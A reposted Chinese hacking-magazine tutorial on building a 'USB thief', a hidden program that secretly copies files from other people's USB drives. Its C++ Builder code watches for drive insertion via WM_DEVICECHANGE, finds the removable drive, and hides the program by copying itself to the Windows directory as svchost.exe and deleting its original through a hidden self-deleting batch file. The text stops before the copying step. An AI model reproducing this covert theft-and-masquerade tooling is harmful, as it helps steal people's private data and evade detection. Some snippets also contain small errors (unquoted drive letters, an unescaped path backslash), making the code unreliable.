当前位置:编程学习 > 网站相关 >>

U盘小偷,我要更完美——活用消息机制

文/图 灰狐(D.S.T&&E.S.T)
 
以前经常看到有人做出一些蛮有意思的小工具,其中最多的似乎就是所谓的U盘小偷了——偷偷地把你U盘里的东西copy出来的东西。
根据以前的《黑客防线》来看,就这一类的工具已经N多了,有脚本或批处理的、有VC的、有BCB的、有Delphi或VB的,五花八门。虽然每个实现的技术含量大不相同,但大多数都是采用最常规的做法实现的。注入进程的我见过不少,但很少看到有使用消息机制实现。今天我就综合采用多种方法来打造一个尽量完善的U盘小偷。本文没有采用任何比较难的技术,而是重点演示怎样综合利用各种思路来弥补技术上的不足。
首先我们要搞清楚我们的小偷具体要做什么,也就是所谓的系统分析,呵呵。通常这些小偷程序都是工作在我们的电脑或者最起码是我们能接触到的电脑(不然偷了东西也没办法给运回来啊),所以,此时的进程隐藏就不是非常重要了,只要在任务管理器中不能被发现即可;再者就是程序要隐藏在后台运行(废话);还有就是绝对不能占用太多资源,这个非常重要;最后就是智能判断应该偷哪些文件。
接下来我们就来看看最核心的功能吧,利用消息机制来实现实时监控U盘事件。我就不从头讲解什么是消息机制了,以前的杂志已经做过详细介绍了。现在假设你已经知道了什么是消息、怎样处理消息这些内容。
所谓U盘事件,就是在USB设备插入或者移除等操作发生的时候,系统会将WM_DEVICECHANGE消息分发到系统中的所有顶层窗口。WM_DEVICECHANGE消息的wParam有两个我们需要注意的值:
DBT_DEVICEARRIVAL         // 0x8000 插入事件
DBT_DEVICEREMOVECOMPLETE  //0x8004 移除事件
 
我们先写一段代码来测试一下。用BCB新建一个Application工程,在头文件Unit1.h的最后加入重载窗口函数的声明,代码如下。
 
public:           // User declarations
__fastcall TForm1(TComponent* Owner);
void __fastcall WndProc(TMessage &Message);  //我们要重载这个函数

然后在实现文件Unit1.cpp中实现。
 
void __fastcall TForm1::WndProc(TMessage &Message)
{
if(!bStarted)   //如果没点“开始监控”按钮则暂不监控
{
}
//如果是移动设备消息则进入处理
if(Message.Msg == WM_DEVICECHANGE)//帮助里面有这个消息的详细说明
{
switch(Message.WParam)
{
case DBT_DEVICEARRIVAL:    
Memo1->Lines->Add(" 发现USB设备插入!");
break;
case DBT_DEVICEREMOVECOMPLETE:
Memo1->Lines->Add(" USB设备被拔出!");
break;
default:
break;
}
}
TForm::WndProc(Message);  //最后别忘了把其他消息交给默认窗口函数处理
}

注意以上代码需要包含头文件:#include <Dbt.h>。
下面我们看一下效果,如图1所示,我插入和拔出一个U盘的时候都被发现了。

图1
根据网上流传的说法,当网络驱动器设备连接和移除的时候也会触发这个消息,因此,我们还可以做如下的预处理。
 
PDEV_BROADCAST_VOLUME dbvDev=(PDEV_BROADCAST_VOLUME)Message.LParam;
if (dbvDev->dbcv_flags & DBTF_MEDIA)
{//加入处理代码}

在WM_DEVICECHANGE消息的lParam参数中保存了设备的相关信息,我们要对设备的类型进行判断,只需要获得DEV_BROADCAST_VOLUME结构中的dbcv_flags的值即可。当它的值为DBTF_NET时,那么当前的这个逻辑卷便是网络卷,所以我们就在上面的代码中判断dbcv_flags的值是否为DBTF_MEDIA,以此判断是否为网络驱动器。或者也可以这样判断:dbcv_flags如果等于1,则表示是光盘驱动器;如果是2,则是网络驱动器;如果是硬盘、U盘则都等于0(这些结构的说明在BCB的帮助中我没找到,但VC的MSDN中有非常详细的说明),这样会使得我们程序的容错性大大提高。
需要注意的是,当插入一个设备时,所有与这个设备相关的设备都会产生这个事件,而不是产生单一的插入事件,这个问题我们可以用 GUID来解决。注册设备GUID的代码如下。
 
DEV_BROADCAST_DEVICEINTERFACE   DevInt; 
memset(&DevInt,0,sizeof(DEV_BROADCAST_DEVICEINTERFACE));
DevInt.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE);
DevInt.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE;
DevInt.dbcc_classguid = DevGuid;
//设备的GUID,不同的设备有不同的GUID,根据实际情况设定
hDevNotify=RegisterDeviceNotification(Handle,&DevInt,DEVICE_NOTIFY_WINDOW_HANDLE);

Windows XP以上版本允许用DEVICE_NOTIFY_ALL_INTERFACE_CLASSES注册关注所有设备的插入和拔出事件,这个参数是RegisterDeviceNotification函数的第三个参数,具体如下。
 
RegisterDeviceNotification(Handle,&DevInt,DEVICE_NOTIFY_WINDOW_HANDLE|
DEVICE_NOTIFY_ALL_INTERFACE_CLASSES);
 
但这样就无法在Windows 2000及其以下系统上运行了,所以建议大家还是直接获取你所关注的那个设备的GUID为好,这样有利于程序的通用性。
关于如何获取设备的GUID,最简单的办法是查注册表:“HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USB\Vid_厂家标识&Pid_产品标识\驱动程序”里面的ClassGUID,它就是驱动程序的GUID标识。
不过本文并不打算使用GUID,而是当捕获到USB设备插入的消息后就启动扫描代码来遍历寻找U盘(可以使用GUID过滤掉自己的U盘)。下面,我们在上面代码的基础上进行即可,将以下代码:
case DBT_DEVICEARRIVAL:    
Memo1->Lines->Add(" 发现USB设备插入!");
break;
 
修改为::
 
case DBT_DEVICEARRIVAL:
{
PDEV_BROADCAST_VOLUME dbvDev = (DEV_BROADCAST_VOLUME *)Message.LParam;
if(dbvDev->dbcv_flags == 0)
{
Memo1->Lines->Add(" 发现USB设备插入!");
Memo1->Lines->Add(" 当前U盘盘符为"+AnsiString(ScanFlashDisk()));
}
break;
}

其中ScanFlashDisk()函数的定义如下。
 
char __fastcall TForm1::ScanFlashDisk()
{
char USB = NULL;
char szDriveName[4] = {0};
       wsprintf(szDriveName,"C:");
       for(szDriveName[0] = C;szDriveName[0] < Z;szDriveName[0]++)
       {
       if(GetDriveType(szDriveName) == DRIVE_REMOVABLE)
       {
       USB=szDriveName[0];
return USB;
}
}
return USB;
}

此时的运行效果如图2所示。现在我们离目标已经很近了,之后就是进程的隐藏技巧了。我本来想采用进程注入方法的,但如果这样的话,整个程序就都需要重写了,但在自己的电脑上隐藏个进程还需要这么麻烦吗?

图2
 
通常每次开机的时候,系统都会有好几个svchost.exe进程,所以我们只要在启动的时候检查小偷的名字是不是svchost.exe即可,如果不是就退出,生成一个批处理将自己改名。系统的svchost.exe是在system32目录下的,我们就把小偷隐藏到Windows目录下吧,反正这里的文件也多,并且我们的小偷平时并不占很多资源,还是比较容易隐藏的。下面是测试代码。
 
//检查自己的路径
char DirBuffer[MAX_PATH],SysBuffer[MAX_PATH];
DWORD DirSize = sizeof(DirBuffer);
GetWindowsDirectory(SysBuffer,DirSize);  //得到Windows目录位置
strcat(SysBuffer,"\svchost.exe");                //构造完整文件名
HMODULE hModule = GetModuleHandle(NULL);   
GetModuleFileName(hModule,DirBuffer,DirSize);     //得到程序自身完整文件名
if(strcmp(DirBuffer,SysBuffer) != 0)   //比较两个完整文件名是否相同
{//如果不在Windows目录
CopyFile(DirBuffer,SysBuffer,false);   //将自身覆盖拷贝到Windows目录
FILE *fp;
fp = fopen("system.bat","w+");
fprintf(fp,"@echo off ");                //生成自删除的批处理文件
fprintf(fp,":start if not exist %s goto done ",ExtractFileName(DirBuffer));
fprintf(fp," del /f /q  %s ",ExtractFileName(DirBuffer));
fprintf(fp,"goto start ");
fprintf(fp,":done ");
fprintf(fp," del /f /q %0 ");
fclose(fp);
//隐藏窗口运行此批处理
ShellExecute(NULL,"open","system.bat",NULL,NULL,SW_HIDE);
//别忘了把新路径下的小偷给启动哦
ShellExecute(NULL,"open",SysBuffer,NULL,NULL,SW_HIDE);
exit(0);    //退出程序
}

这段代码经过测试完全可以达到目的,任务管理器中根本看不出来是哪个svchost,只有利用其它专门工具了,我是用冰刃才找到了是哪个

补充:综合编程 , 其他综合 ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,